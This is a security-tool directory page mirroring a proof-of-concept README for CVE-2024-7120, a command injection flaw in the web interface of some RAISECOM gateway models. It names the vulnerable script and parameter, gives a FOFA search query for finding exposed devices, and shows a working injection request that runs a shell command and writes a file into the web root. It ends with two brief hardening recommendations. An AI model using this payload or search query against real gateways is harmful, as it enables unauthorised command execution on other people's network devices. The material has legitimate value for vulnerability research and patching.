Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2024-7120 — Proof-of-concept exploit for CVE-2024-7120 command injection vulnerability in RAISECOM gateway devices. Provides exploitation details, affected models, and curl-based attack examples for security testing. | Kitploit
Tools/GitHubGitHub/gh-ost00/cve-2024-7120
IoT SecurityVulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingCommand and Control
GitHubgh-ost00/cve-2024-7120

CVE-2024-7120

Proof-of-concept exploit for CVE-2024-7120 command injection vulnerability in RAISECOM gateway devices. Provides exploitation details, affected models, and curl-based attack examples for security testing.

View Repository
8222 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Raisecom Devices Command Injection (CVE-2024-7120) Proof of concept!

Overview

A command injection vulnerability has been identified in the RAISECOM Gateway devices, affecting models MSG1200, MSG2100E, MSG2200, and MSG2300. This vulnerability allows remote attackers to execute arbitrary commands on the system via the web interface. The issue resides in the list_base_config.php script, specifically via the template parameter, affecting over 25,112 devices on the Internet.

✔ FOFA : title="web user login" && body="<META content="MSHTML 6.00.2900.5583" name=GENERATOR>"

banner

Affected Devices

Hardware

  • RAISECOM Gateway models MSG1200, MSG2100E, MSG2200, MSG2300

Software

  • 3.90

Affected Components

URI: /vpn/list_base_config.php

Description: the list_base_config.php is a web-based interface component of RAISECOM Gateway devices used for managing VPN configurations. The identified vulnerability arises due to improper handling of the template parameter in this script. This parameter can be exploited to execute arbitrary commands on the device's operating system due to insufficient input sanitization.

CWE

CWE-77: Command Injection

Exploitation

Here is an example of how the vulnerability can be exploited using a curl command:

root@kitploit:~
GET "http://host.com/vpn/list_base_config.php?type=mod&parts=base_config&template=%60echo%20-e%20%27{{Created by Ghost sec}}%27%3E%20%2Fwww%2Ftmp%2Finfo.html%60"

In this example, the curl command sends a malicious HTTP GET request to the list_base_config.php script. The request utilizes the template parameter to execute a command.

Actual Result

Sample 1

banner

Sample 2

banner

Recommendations

  1. Input Validation: Implement strict validation checks on all user inputs, especially those that can affect system commands or file paths.
  2. Access Controls: Restrict access to the device's web interface to trusted networks and authenticated users.
Download Tool